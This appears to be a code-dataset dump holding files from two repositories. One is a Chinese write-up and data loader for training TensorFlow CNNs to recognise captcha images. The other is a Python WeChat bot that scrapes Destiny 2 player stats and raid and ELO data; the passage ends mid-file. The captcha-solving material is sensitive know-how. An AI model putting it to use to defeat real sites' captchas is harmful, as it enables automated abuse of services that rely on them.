`http://127.0.0.1:6006/`\n\n![](img-doc/m1-softmax-accuracy.png)\n![](img-doc/m1-softmax-loss.png)\n![](img-doc/m1-image-preview.png)\n![](img-doc/m1-histograms.png)\n\n\n#### 2 层 Convolutional 网络: 正确率 10%\n\n作为对比,在 mnist 数据集上,跑出了 98%+ 的正确率。\n\n在验证码的数据集上,基本在 10% 左右 -- 恰好等于随机蒙的概率。\n\n![](img-doc/m2-cnn-accuracy.png)\n\n\n#### 神奇的调参,2 层 Convolutional,正确率 99%\n\n\n同样 1 个数据集,softmax 正确率 90%,\n加了 CNN 却降到了 10% -- 随机蒙的概率。\n2 者的数据集相同,不会是数据源的问题。\n\nmnist tutorial 里的 convolutional.py 模型,正确率 98%,\n数据源换成验证码以后,也是 10%。\n模型相同,不是我的低级编码错误导致。\n\n再看一遍数据源和模型\n\n![](img-doc/cnn-2layer-input.png)\n![](img-doc/cnn-2layer-model.png)\n\n前面的 2 个卷积层,成功的把 feature 全部过滤掉了,留下来的都是噪声的小圆点。\n\n灰度图里,这些小圆点,颜色比信息要深一些。\n模型的 pooling 是 max,激活是 ReLU,正好提取了小圆点。\n导致最后一层全链接学习不到正确的参数。\n\n人工智能里的 Bug 也更加智能了\n\n所以,是不是可以搞一个验证码生成与识别的 AI 对抗。\n\n把纯数字的改成了英文+数字混合( 36 labels ),训练了两个小时,正确率收敛在 80% 左右。\n\n调参以后的 accuracy 与 loss 曲线\n\n![](img-doc/cnn-2layer-accuracy.png)\n![](img-doc/cnn-2layer-loss.png)\n" }, { "alpha_fraction": 0.5719680786132812, "alphanum_fraction": 0.5816197991371155, "avg_line_length": 24.90217399597168, "blob_id": "c49fa4bc62ee5916c7f48e2dc3f451c53b279a7e", "content_id": "0a57b0e9fd551c0ed7510a0ce898434795b5bc33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2391, "license_type": "no_license", "max_line_length": 93, "num_lines": 92, "path": "/input_data.py", "repo_name": "deJQK/captcha-tensorflow", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\nimport os\nfrom PIL import Image\nimport numpy as np\n\nfrom gen_captcha import CHOICES\n\nIMAGE_SIZE_1CHAR = 60 * 100 # width * height\n\n\ndef load_data_1char(data_dir):\n train_dir = os.path.join(data_dir, 'train')\n test_dir = os.path.join(data_dir, 'test')\n return (\n DataSet(*_load_data(train_dir, IMAGE_SIZE_1CHAR)),\n DataSet(*_load_data(test_dir, IMAGE_SIZE_1CHAR)),\n )\n\n\nclass DataSet:\n \"\"\"提供 next_batch 方法\"\"\"\n def __init__(self, images, labels):\n self._images = images\n self._labels = labels\n\n self._num_examples = images.shape[0]\n\n self.ptr = 0\n\n @property\n def images(self):\n return self._images\n\n @property\n def labels(self):\n return self._labels\n\n def next_batch(self, size=100, shuffle=True):\n if self.ptr + size > self._num_examples:\n self.ptr = 0\n\n if self.ptr == 0:\n if shuffle:\n perm = np.arange(self._num_examples)\n np.random.shuffle(perm)\n self._images = self._images[perm]\n self._labels = self._labels[perm]\n\n self.ptr += size\n return (\n self._images[self.ptr - size: self.ptr],\n self._labels[self.ptr - size: self.ptr],\n )\n\n\ndef _load_data(dir_name, size=None, ext='.png'):\n images = []\n labels = []\n for fn in os.listdir(dir_name):\n if fn.endswith(ext):\n fd = os.path.join(dir_name, fn)\n images.append(load_image(fd, size))\n labels.append(load_label(fd))\n return np.vstack(images), np.vstack(labels)\n\n\ndef load_image(filename, size=None):\n im = Image.open(filename).convert('L')\n data = np.asarray(im)\n\n if size:\n return data.reshape(size)\n return data\n\n\ndef load_label(filename):\n basename = os.path.basename(filename)\n idx = CHOICES.index(basename.split('_')[0])\n data = np.zeros(len(CHOICES))\n data[idx] = 1\n return data\n\n\nif __name__ == '__main__':\n train_data, test_data = load_data_1char('images/one-char')\n\n print 'train images: %s, labels: %s' % (train_data.images.shape, train_data.labels.shape)\n\n print 'test images: %s, labels: %s' % (test_data.images.shape, test_data.labels.shape)\n\n batch_xs, batch_ys = train_data.next_batch(100)\n print 'batch images: %s, labels: %s' % (batch_xs.shape, batch_ys.shape)\n" } ]
3
polzbit/cryptocurrency_bot
https://github.com/polzbit/cryptocurrency_bot
615a8c95f3056215da978bf6ee2bd1908d841af8
135caa43d520c2de4d30a3ac63f6da498d94bcbf
962fcc895e7e24729dc3714161031f3f6fb1e5e6
refs/heads/main
2023-05-08T04:56:41.858227
2021-05-31T15:23:52
2021-05-31T15:23:52
372,185,875
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7899543642997742, "alphanum_fraction": 0.7899543642997742, "avg_line_length": 30.285715103149414, "blob_id": "385bedfe05987d4a8c8508f4d72edbd66266d673", "content_id": "4ca217a33c8d739862132889c7a694c034a7741b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 219, "license_type": "permissive", "max_line_length": 92, "num_lines": 7, "path": "/README.md", "repo_name": "polzbit/cryptocurrency_bot", "src_encoding": "UTF-8", "text": "# Crypto Currency Bot\n\na simple module to extract current currency from coinmarketcap.com using selenium module.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details\n" }, { "alpha_fraction": 0.5763760209083557, "alphanum_fraction": 0.5825603008270264, "avg_line_length": 40.394737243652344, "blob_id": "d78873a02b32b7b091026999e53bbba33e655abe", "content_id": "635512d9ffb379a9bb12a8c995937574f65bc6f3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1617, "license_type": "permissive", "max_line_length": 103, "num_lines": 38, "path": "/cryptocurrency_bot.py", "repo_name": "polzbit/cryptocurrency_bot", "src_encoding": "UTF-8", "text": "##################################################################################\r\n# scrape coinmarketcap.com to extract crypto currencies current price.\r\n##################################################################################\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.chrome.options import Options\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.common.by import By\r\n# import pandas as pd\r\n\r\nclass CrypoCurrencyBot:\r\n def __init__(self, currency):\r\n self.currency = currency\r\n \r\n # function to scrape the data\r\n def get_currency(self):\r\n my_url = f'https://coinmarketcap.com/currencies/{self.currency.lower()}'\r\n option = Options()\r\n option.headless = False # False - show selenium process, True - selenium work in background\r\n driver = webdriver.Chrome(executable_path=\"path-to-chromedriver.exe\", options=option)\r\n driver.get(my_url)\r\n driver.maximize_window()\r\n \r\n # get price using selenium\r\n coin_price = driver.find_element_by_xpath(\"//div[contains(@class, 'priceValue___11gHJ')]\").text\r\n\r\n # click market button to show coin markets\r\n # market_btn = driver.find_elements_by_class_name('hh30zs-0')[1]\r\n # market_btn.click()\r\n # sleep(2)\r\n\r\n # get page source using pandas and quit driver\r\n # dataframes = pd.read_html(driver.page_source)\r\n # coin_price = dataframes[0][1][0]\r\n \r\n driver.quit()\r\n\r\n return coin_price\r\n \r\n" }, { "alpha_fraction": 0.5907473564147949, "alphanum_fraction": 0.5925266742706299, "avg_line_length": 29.22222137451172, "blob_id": "7712a4f73d8327781bb539efb34075ee22b55afd", "content_id": "7000174e13a88627bf12529a91a4312ca5b65435", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 562, "license_type": "permissive", "max_line_length": 70, "num_lines": 18, "path": "/test.py", "repo_name": "polzbit/cryptocurrency_bot", "src_encoding": "UTF-8", "text": "from cryptocurrency_bot import CrypoCurrencyBot\r\nfrom time import sleep\r\n\r\nclass Tester:\r\n def __init__(self):\r\n self.currencies = [\"bitcoin\", \"litecoin\", \"dogecoin\"]\r\n \r\n # function to print data\r\n def print_currencies(self):\r\n # iterate over this list and get the data currency by currency\r\n for currency in self.currencies:\r\n c = CrypoCurrencyBot(currency)\r\n print(currency + \" Value: \" + c.get_currency())\r\n sleep(1)\r\n\r\nif __name__ == \"__main__\":\r\n t = Tester()\r\n t.print_currencies()\r\n" } ]
3
DarkEye123/game-of-life
https://github.com/DarkEye123/game-of-life
fca74cf06f30019128faa4eb1aa7dfc09531da62
8aa3dc529d131a7124837b0c673e954237232e37
221227f22c56d926011c309ab2ac9aa08bc6d3b1
refs/heads/master
2021-06-25T06:22:14.236990
2017-09-11T14:33:50
2017-09-11T14:33:50
103,140,439
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6864244937896729, "alphanum_fraction": 0.7170172333717346, "avg_line_length": 14.848484992980957, "blob_id": "bca720799877fca0a56799ed3ef2c095f9cd3acb", "content_id": "1341e8d7ad57f00953f93bf49ab3f42624451caf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 523, "license_type": "no_license", "max_line_length": 66, "num_lines": 33, "path": "/README.md", "repo_name": "DarkEye123/game-of-life", "src_encoding": "UTF-8", "text": "# Game of Life in Python\n\n## prerequisites\ninstall ffmpeg if you want have video from the game\n\n<code>\nsudo apt install ffmpeg\n</code>\n\nWritten in python 3\n\n\n## Usage\n\n### for video output\n<code>\npython3 life --frames 90 --movfile test.mp4 \n</code>\n\n### change interval in miliseconds\n<code>\npython3 life --interval 20\n</code>\n\n### change interpolation\n<code>\npython3 life --interval 20 --interpolation nearest\n</code>\n\n### change grid size\n<code>\npython3 life --interval 20 --interpolation gaussian --grid-size 32\n</code>\n" }, { "alpha_fraction": 0.5759562849998474, "alphanum_fraction": 0.5890710353851318, "avg_line_length": 34.53398132324219, "blob_id": "cc4adffcca22071a6d436e724084e5786030fc35", "content_id": "e47773fefcc3b76e01edc6efa9cfdb82072f017d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3660, "license_type": "no_license", "max_line_length": 131, "num_lines": 103, "path": "/life.py", "repo_name": "DarkEye123/game-of-life", "src_encoding": "UTF-8", "text": "import matplotlib.pyplot as plt\nfrom matplotlib import animation\nfrom matplotlib import colors\nimport numpy as np\n\nON = 255\nOFF = 0\nON_NUM = ON\n\n\ndef add_glider(i, j, grid):\n glider = np.array([[OFF, OFF, ON],\n [ON, OFF, ON],\n [OFF, ON, ON]])\n grid[i:i + 3,\n j:j + 3] = glider # slice specific to numpy arrays, first takes rows, second takes columns in taken rows\n\n\ndef init_grid_zeroes(N):\n grid = np.zeros(N * N).reshape(N, N) #\n return grid\n\n\ndef init_grid_random(size=100, probabilities=(0.2, 0.8)):\n grid = np.random.choice([ON, OFF], size ** 2, p=probabilities).reshape(size, size)\n return grid\n\n\nclass AllAreDeadException(Exception):\n pass\n\nclass ColonyStagnationException(Exception):\n pass\n\ndef update(frame_num, img, grid: np.ndarray, N):\n print(frame_num)\n new_grid = grid.copy()\n n_living = 0\n n_changes = 0\n for x in range(N):\n for y in range(N):\n orig = grid[x][y]\n up = (y - 1) % N # 0,0 is upper left corner\n down = (y + 1) % N\n right = (x + 1) % N\n left = (x - 1) % N\n sum = int(grid[right][y] + grid[left][y] + grid[x][up] + grid[x][down] +\n grid[right][up] + grid[right][down] + grid[left][up] + grid[left][down])\n sum /= ON_NUM\n\n if sum < 2 or sum > 3:\n grid[x][y] = OFF\n if sum == 3:\n grid[x][y] = ON\n n_living += 1\n if orig != grid[x][y]: #value was changed\n n_changes += 1\n grid = new_grid[:]\n img.set_data(grid)\n if n_living == 0:\n raise AllAreDeadException\n if n_changes == 0:\n raise ColonyStagnationException\n return img\n\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser(description=\"Conway's Game of Life\")\n parser.add_argument(\"--grid-size\", default=100, type=int, required=False)\n parser.add_argument(\"--interval\", dest='interval', default=500, type=int, required=False)\n parser.add_argument(\"--movfile\", dest='movfile', default=\"\", type=str, required=False)\n parser.add_argument(\"--glider\", dest='glider', action=\"store_true\", default=False, required=False)\n parser.add_argument(\"--interpolation\", default='gaussian', type=str, required=False, help='one of neararest,bilinear,gaussian')\n parser.add_argument(\"--frames\", default=None, required=False, help=\"If specified, sets number frames for movfile\")\n\n args = parser.parse_args()\n if args.glider:\n grid = init_grid_zeroes(args.grid_size)\n add_glider(1, 1, grid)\n else:\n grid = init_grid_random(args.grid_size,(0.1,0.9))\n try:\n fig, ax = plt.subplots()\n cmap = colors.ListedColormap(['black', 'red']) # for black background, red cells\n #img = ax.imshow(grid, interpolation='nearest', cmap = cmap)\n #img = ax.imshow(grid, interpolation='bilinear', cmap=cmap)\n #img = ax.imshow(grid, interpolation='gaussian', cmap=cmap)\n img = ax.imshow(grid, interpolation=args.interpolation)\n frames = args.frames\n animation = animation.FuncAnimation(fig, update, fargs=(img, grid, args.grid_size), frames=frames,\n interval=args.interval)\n\n if args.movfile:\n animation.save(args.movfile, fps=30, extra_args=['-vcodec', 'libx264'])\n #animation.save(args.movfile, fps=30)\n\n plt.show()\n except AllAreDeadException:\n print(\"Game Over: all died\")\n except ColonyStagnationException:\n print(\"Game Over, your colony is stagnating for lifetime\")\n" } ]
2
immanetize/python-transifex
https://github.com/immanetize/python-transifex
5a88fc516999ef6048139e16fac03d081eb75b77
a4023c6ebc85c0d913270e22769d65789ceb5ad9
7eb8d9f27d6c471ca9ec45a33e22e88d69bd6186
refs/heads/master
2021-01-18T04:53:38.381914
2013-06-15T17:18:43
2013-06-15T17:18:43
10,703,075
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.6119610667228699, "alphanum_fraction": 0.6203059554100037, "avg_line_length": 30.04347801208496, "blob_id": "ab089fdad267ebeb0513153556215a8d19678b75", "content_id": "425b9c3b3e143e62c6a024bbab0ee16704df86cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 719, "license_type": "no_license", "max_line_length": 73, "num_lines": 23, "path": "/runtests.py", "repo_name": "immanetize/python-transifex", "src_encoding": "UTF-8", "text": "\"\"\"\nBased on https://github.com/jakul/python-jsonrpc/blob/master/run-tests.py\n\"\"\"\nimport unittest\nimport os\nfrom transifex import tests\nimport sys\n\nsys.path.append(os.path.abspath(__file__))\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 1:\n # Auto detect the tests to run\n testPath = os.path.split(tests.__file__)[0]\n testModules = []\n for fileName in os.listdir(testPath):\n if fileName[-3:] == '.py' and fileName != '__init__.py':\n testModules.append('transifex.tests.%s' % fileName[:-3])\n else:\n testModules = sys.argv[1:]\n\n suite = unittest.TestLoader().loadTestsFromNames(testModules)\n unittest.TextTestRunner(verbosity=5).run(suite)\n \n" }, { "alpha_fraction": 0.7420538067817688, "alphanum_fraction": 0.7555012106895447, "avg_line_length": 39.900001525878906, "blob_id": "ef7a9dfe53f805cd737613103d2e73eba360279c", "content_id": "9fb3920373597d36e46802228328b4c9e690b42b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 818, "license_type": "no_license", "max_line_length": 220, "num_lines": 20, "path": "/README.rst", "repo_name": "immanetize/python-transifex", "src_encoding": "UTF-8", "text": "python-transifex\n----------------\nA python API to the Transifex translation service (www.transifex.com). This API wrapper makes it easier to communicate with Transifex. The wrapper does not expose all of the underlying functionality of the Transifex API.\n\nThis wrapper is compatible with both www.transifex.com and Transifex Community Edition (self hosted).\n\nChangeLog\n---------\n0.1.7\n=====\n* Downgrade requests version to ensure compatibility with current code\n\n0.1.6\n=====\n* Update setup.py to only include the actual requirements needed to install. Thanks to Toshio Kuratomi (https://github.com/jakul/python-transifex/pull/3)\n* Fix tests which now throw InvalidSlugException. Thanks to Toshio Kuratmi (https://github.com/jakul/python-transifex/pull/4)\n\n0.1.5\n=====\n* add new InvalidSlugException; make exceptions share a base class\n" }, { "alpha_fraction": 0.6598837375640869, "alphanum_fraction": 0.6642441749572754, "avg_line_length": 23.481481552124023, "blob_id": "45bd25120dea5a274fa729ff7ff27d55a97f937b", "content_id": "4b0624f2ad9ce0abadbb85abad53ab237e451be3", "detected_licenses": [], "is_generated": false, "is_vendor": true, "language": "Python", "length_bytes": 688, "license_type": "no_license", "max_line_length": 76, "num_lines": 27, "path": "/fabfile.py", "repo_name": "immanetize/python-transifex", "src_encoding": "UTF-8", "text": "import os\r\nfrom fabric.utils import puts\r\nimport random\r\nimport string\r\nimport sys\r\nfrom fabric.operations import local\r\ntry:\r\n import readline # This module gives line editing and history\r\nexcept ImportError:\r\n pass\r\n\r\n_PYPI_UPLOAD_COMMAND = 'python setup.py sdist upload'\r\n\r\n\r\ndef upload_to_pypi():\r\n _ensure_can_hardlink()\r\n local(_PYPI_UPLOAD_COMMAND)\r\n\r\ndef _ensure_can_hardlink():\r\n new_filename = '.' + ''.join(random.sample(string.letters, 20))\r\n try:\r\n os.link('fabfile.py', new_filename)\r\n except OSError:\r\n puts('Operating system does not support hardlinking in this folder')\r\n sys.exit(1)\r\n else:\r\n os.remove(new_filename)\r\n" }, { "alpha_fraction": 0.6206896305084229, "alphanum_fraction": 0.7586206793785095, "avg_line_length": 8.666666984558105, "blob_id": "b4a9e083549ca4bf89d92e475cbf857b0caf82b8", "content_id": "d23d25048895f6a57a167b0e8924556b6adc5159", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 29, "license_type": "no_license", "max_line_length": 16, "num_lines": 3, "path": "/requirements.txt", "repo_name": "immanetize/python-transifex", "src_encoding": "UTF-8", "text": "requests==0.12.1\nmock\nfabric\n" } ]
4
lfsty/WeChat_server_destiny
https://github.com/lfsty/WeChat_server_destiny
428081041266863d3293fd048c380bf3b026f0e2
f330b92c1886ed7c6d39c29fbc1eb0bdc9992fab
fbb7eb989d2365e8b49631d4f3d23160d2dda978
refs/heads/main
2023-03-28T12:49:49.481726
2021-03-27T09:31:41
2021-03-27T09:31:41
348,955,873
3
0
null
null
null
null
null
[ { "alpha_fraction": 0.5801966786384583, "alphanum_fraction": 0.586385190486908, "avg_line_length": 28.63819122314453, "blob_id": "fc928a03bece08b726a04814d13cd2c6bf4b1659", "content_id": "a653089ac14acf090642187d855b61ebb98133db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12840, "license_type": "no_license", "max_line_length": 136, "num_lines": 398, "path": "/src/destiny_api.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": "UTF-8", "text": "from src.MY_CONST import *\nfrom src.urlRequest import *\nimport asyncio\nimport json\nfrom bs4 import BeautifulSoup\nimport re\nfrom collections import Counter\nimport urllib3\n\n\ndef is_steamid64(input_text):\n \"\"\"\n 判断是否为SteamID\n\n Args:\n input_text:需要判断的文本\n Returns:\n True/False\n \"\"\"\n if input_text.isdigit() and len(input_text) == 17 and input_text[:4] == '7656':\n return True\n else:\n return False\n\n\ndef is_bungie_membershipid(input_text):\n \"\"\"\n 判断是否为MembershipID\n\n Args:\n input_text:需要判断的文本\n Returns:\n True/False\n \"\"\"\n if input_text.isdigit() and len(input_text) == 19 and input_text[:4] == '4611':\n return True\n else:\n return False\n\n\nasync def getXurLocation():\n \"\"\"\n 获取当时xur位置\n\n Args:\n None\n Returns:\n 若存在,则返回位置,若不存在则返回None,\n 位置不在表中是情况返回“XUR位置转化出错”,请及时更新json表\n \"\"\"\n url = \"https://xur.wiki\"\n try:\n data = await GetResponseByUrl(url)\n soup = BeautifulSoup(data, 'html.parser')\n location_name_en = re.compile(r\"\\s\").sub(\n '', soup.find(class_=\"location_name\").get_text())\n except:\n ACCESS.debug(\"云获取XUR位置出错\")\n return \"位置获取出错\"\n if location_name_en == \"XURHASDISSAPEARED\":\n return \"老九还没来\"\n else:\n try:\n location = xur_location[location_name_en.lower()]\n return location\n except:\n ACCESS.debug(\"XUR位置转换出错\")\n return \"位置获取出错\"\n\n\nasync def getXurSaleItems():\n \"\"\"\n 获取XUR所售卖的信息\n\n Args:\n None\n Returns:\n 售卖信息的list\n \"\"\"\n url = ROOT + f\"/Destiny2/Vendors/?components=402\"\n data = await GetResponseByUrl(url, need_header=True)\n data = json.loads(data)[\"Response\"]\n items = data[\"sales\"][\"data\"][\"2190858386\"][\"saleItems\"]\n item_names = []\n for item in items:\n item_data = items[item]\n item_hash = item_data[\"itemHash\"]\n item_name = ItemDefinition[str(item_hash)][\"displayProperties\"][\"name\"]\n item_names.append(item_name)\n return item_names[1:5]\n\n\nasync def getCharacterIdsByMembershipId(destinyMembershipId, membershipType=\"3\"):\n \"\"\"\n 通过MembershipID获取用户的CharacterID\n\n Args:\n destinyMembershipId:命运2的MembershipID\n membershipType:用户类型,默认为3(steam平台)\n Returns:\n characterIDs列表\n \"\"\"\n try:\n characterIds = []\n url = ROOT + \\\n f\"/Destiny2/{membershipType}/Account/{destinyMembershipId}/Stats/?groups=General\"\n resp = await GetResponseByUrl(url, need_header=True)\n resp = json.loads(resp)[\"Response\"]\n for item in resp[\"characters\"]:\n characterIds.append(item[\"characterId\"])\n return characterIds\n except:\n ACCESS.debug(\"getCharacterIdsByMembershipId出错\")\n return None\n\n\nasync def getMembershipIDBySteamID(steamid):\n \"\"\"\n 通过SteamID获取用户MembershiID\n\n Args:\n Steamid\n Returns:\n MembershipID\n \"\"\"\n try:\n url = ROOT + \\\n f\"/User/GetMembershipFromHardLinkedCredential/SteamId/{steamid}/\"\n resp = await GetResponseByUrl(url, need_header=True)\n resp = json.loads(resp)[\"Response\"]\n return resp['membershipId']\n except:\n ACCESS.debug(\"getMembershipIDBySteamID出错\")\n return None\n\n\nasync def getSteamIDByMembershipID(membershipid):\n \"\"\"\n 通过MembershipID获取用户的SteamID\n\n Args:\n membershipid\n Returns:\n SteamID\n \"\"\"\n try:\n url = f\"https://www.bungie.net/en/Profile/{membershipid}\"\n data = await GetResponseByUrl(url)\n soup = BeautifulSoup(data, 'html.parser')\n result = soup.find(\n class_='inner-text-content').find(class_='title').get_text()\n steamid_pattern = re.compile(r\"7656[0-9]{13}\")\n return steamid_pattern.search(result).group(0)\n except:\n ACCESS.debug(\"getSteamIDByMembershipID出错\")\n return None\n\n\nasync def getUsernameByMembershipid(membershipid):\n \"\"\"\n 根据用户的MembershipID获取用户的昵称\n\n Args:\n membershipId\n Returns:\n UserName\n \"\"\"\n try:\n url = ROOT + f\"/User/GetMembershipsById/{membershipid}/-1/\"\n resp = await GetResponseByUrl(url, need_header=True)\n resp = json.loads(resp)[\"Response\"]\n return resp['destinyMemberships'][0]['LastSeenDisplayName']\n except:\n ACCESS.debug(\"getUsernameByMembershipid出错\")\n return None\n\n\nasync def getUserRaidReportByCharacterID(characterID, destinyMembershipId, membershipType=\"3\"):\n \"\"\"\n 根据characterid获取角色的raid信息\n\n Args:\n characterID\n destinyMembershipId\n membershipType\n Returns:\n list类型结果信息\n \"\"\"\n url = ROOT + \\\n f\"/Destiny2/{membershipType}/Account/{destinyMembershipId}/Character/{characterID}/Stats/Activities/?count=250&mode=raid&page=0\"\n try:\n resp = await GetResponseByUrl(url, need_header=True)\n except:\n ACCESS.debug(\"获取角色CharacterID出错\")\n return None\n resp = json.loads(resp)[\"Response\"]\n raid_data = {}\n if resp != {}:\n try:\n for item in resp[\"activities\"]:\n if item['values']['completed']['basic']['displayValue'] == \"Yes\":\n activityid = str(item[\"activityDetails\"][\"referenceId\"])\n name = ActivityDefinition[activityid][\"displayProperties\"][\"name\"]\n if name in raid_data:\n raid_data[name] += 1\n else:\n raid_data[name] = 1\n except:\n ACCESS.debug(\"CharacterID,读取用户信息出错\")\n return None\n return raid_data\n else:\n return None\n\n\nasync def getUserRaidReportByMemberShipID(destinyMembershipId, UserName, membershipType=\"3\"):\n \"\"\"\n 通过MembershipID获取用户的Raid信息\n\n Args:\n destinyMembershipId\n UserName:用户昵称,用于组织返回信息\n membershipType\n Returns:\n 组织完的Raid信息\n \"\"\"\n try:\n tasks = []\n raid_data = {}\n characterIds = await getCharacterIdsByMembershipId(destinyMembershipId)\n if characterIds == None:\n return \"未查询到用户信息\"\n for characterID in characterIds:\n task_tmp = asyncio.create_task(getUserRaidReportByCharacterID(\n characterID, destinyMembershipId, membershipType))\n tasks.append(task_tmp)\n for task in tasks:\n data = await task\n raid_data = dict(Counter(raid_data)+Counter(data))\n resp_data = \"------------------\\n\"\n for item in raid_data:\n resp_data += item + \":\"+str(raid_data[item])+\"次\\n\"\n resp_data += \"------------------\"\n return UserName + \"\\nRaid通关次数:\\n\"+resp_data\n except:\n ACCESS.debug(f\"查询{UserName},{destinyMembershipId}Raid信息出错\")\n return \"查询出错,请稍后再试\"\n\n\nasync def getPlayerdataBySteamID(steamid, UserName, season=current_season):\n \"\"\"\n 根据SteamID获取用户ELO信息\n\n Args:\n steamid\n UserName:用户昵称,用于组织返回信息\n season:赛季信息,默认为当前赛季\n Returns:\n 组织完的ELO信息\n \"\"\"\n url = f\"https://api.tracker.gg/api/v2/destiny-2/standard/profile/steam/{steamid}/segments/playlist?season={season}\"\n try:\n response = await urllibRequestGet(url)\n data = json.loads(response)['data']\n except:\n ACCESS.debug(f\"查询{UserName},{steamid}ELO信息出错\")\n return \"elo数据获取出错\"\n all_data = f\"第{season}赛季:\\n\"\n for item in data:\n if item['metadata']['name'] in remain:\n tmp = \"--------------\\n\"\n tmp += \"模式:\"+remain[item['metadata']['name']]+\"\\n\"\n tmp += \"ELO:\"+str(item['stats']['elo']['value'])+\"\\n\"\n tmp += \"kd:\"+item['stats']['kd']['displayValue']+\"\\n\"\n tmp += \"kda:\"+item['stats']['kda']['displayValue']+\"\\n\"\n all_data += tmp\n # tmp=\"分类:\"+item['attributes']['group']+\"\\n\"\n # tmp+=\"模式名称:\"+item['metadata']['name']+\"\\n\"\n # tmp+=\"世界排名:\"+str(item['stats']['elo']['rank'])+\"\\n\"\n # tmp+=\"段位:\"+item['stats']['elo']['metadata']['rankName']+\"\\n\"\n # tmp+=\"ELO:\"+str(item['stats']['elo']['value'])+\"\\n\"\n # tmp+=\"世界排名百分比:\"+str(item['stats']['elo']['percentile'])+\"\\n\"\n # tmp+=\"获胜次数:\"+str(item['stats']['activitiesWon']['value'])+\"\\n\"\n # tmp+=\"百分比胜率:\"+item['stats']['wl']['displayValue']+\"\\n\"\n # tmp+=\"kd:\"+item['stats']['kd']['displayValue']+\"\\n\"\n # tmp+=\"kad:\"+item['stats']['kad']['displayValue']+\"\\n\"\n # tmp+=\"kda:\"+item['stats']['kda']['displayValue']+\"\\n\"\n # tmp+=\"助攻:\"+item['stats']['assists']['displayValue']+\"\\n\"\n # tmp+=\"Kill per Game:\"+item['stats']['killsPga']['displayValue']+\"\\n\\n\"\n # all_data+=tmp\n return UserName + \"\\n\" + all_data + \"--------------\"\n\n\nasync def getPartyMembersDataByMembershipID(destinyMembershipId, membershipType=\"3\"):\n \"\"\"\n 根据MembershipID获取用户火力战队的成员信息\n\n Args:\n destinyMembershipId\n membershipType\n Returns:\n 用户火力战队的成员的MembershipID的list\n \"\"\"\n url = ROOT + \\\n f\"/Destiny2/{membershipType}/Profile/{destinyMembershipId}/?components=1000\"\n resp = await GetResponseByUrl(url, need_header=True)\n resp = json.loads(resp)[\"Response\"]\n if \"data\" in resp[\"profileTransitoryData\"]:\n # 在线\n partyMembers_data = resp[\"profileTransitoryData\"][\"data\"][\"partyMembers\"]\n partyMembers = []\n for item in partyMembers_data:\n tmp = {}\n tmp[\"membershipId\"] = str(item[\"membershipId\"])\n tmp[\"displayName\"] = item[\"displayName\"]\n partyMembers.append(tmp)\n return partyMembers\n else:\n # 不在线\n return None\n\n\nasync def getPartyMembersRaidReport(destinyMembershipId, membershipType=\"3\"):\n \"\"\"\n 根据MembershipID获取用户火力战队成员的Raid信息\n\n Args:\n destinyMembershipId\n membershipType\n Returns:\n 组织完的信息\n \"\"\"\n partyMembers = await getPartyMembersDataByMembershipID(destinyMembershipId)\n if partyMembers == None:\n return \"玩家不在线\"\n else:\n resp_data = \"\"\n task_list = []\n for item in partyMembers:\n task_tmp = asyncio.create_task(getUserRaidReportByMemberShipID(\n item[\"membershipId\"], item[\"displayName\"], membershipType))\n task_list.append(task_tmp)\n for task_item in task_list:\n if resp_data != \"\":\n resp_data += \"\\n\"\n resp_data += await task_item\n return resp_data\n\n\nasync def getPartyMembersElo(destinyMembershipId, membershipType=\"3\"):\n \"\"\"\n 根据MembershipID获取用户火力战队成员的ELO信息\n\n Args:\n MembershipID\n membershipType\n Returns:\n 组织完的信息\n \"\"\"\n partyMembers = await getPartyMembersDataByMembershipID(destinyMembershipId)\n if partyMembers == None:\n return \"玩家不在线\"\n else:\n resp_data = \"\"\n task_list = []\n for item in partyMembers:\n task_tmp = asyncio.create_task(getPlayerdataBySteamID(\n item[\"membershipId\"], item[\"displayName\"]))\n task_list.append(task_tmp)\n for task_item in task_list:\n if resp_data != \"\":\n resp_data += \"\\n\"\n resp_data += await task_item\n return resp_data\n\n\nasync def SearchUsersByName(name, membershipType=\"-1\"):\n \"\"\"\n 根据用户昵称获取用户的MembershipID,不推荐使用,可能有重名,也可能有BUG,Bungie老传统了\n\n Args:\n name:用户昵称\n membershipType:默认为“-1”,全平台搜索\n Returns:\n 搜寻到的MembershipID,若不存在或者重名,则返回None\n \"\"\"\n url = ROOT + \\\n f\"/Destiny2/SearchDestinyPlayer/{membershipType}/{name}/\"\n try:\n resp = await GetResponseByUrl(url, need_header=True)\n data = json.loads(resp)[\"Response\"]\n if len(data) > 1:\n return None\n else:\n return data[0][\"membershipId\"]\n except:\n ACCESS.debug(f\"{name},查询用户membershipID出错\")\n return None\n" }, { "alpha_fraction": 0.5299212336540222, "alphanum_fraction": 0.5303149819374084, "avg_line_length": 23.660194396972656, "blob_id": "d52db6d79e37d0e9d842ef651afbfb2f591f5f9a", "content_id": "539d33cdd1f43e3dca6e37abffea889455a10952", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2744, "license_type": "no_license", "max_line_length": 125, "num_lines": 103, "path": "/src/accessToken.py", "repo_name": "lfsty/WeChat_server_destiny", "src_encoding": 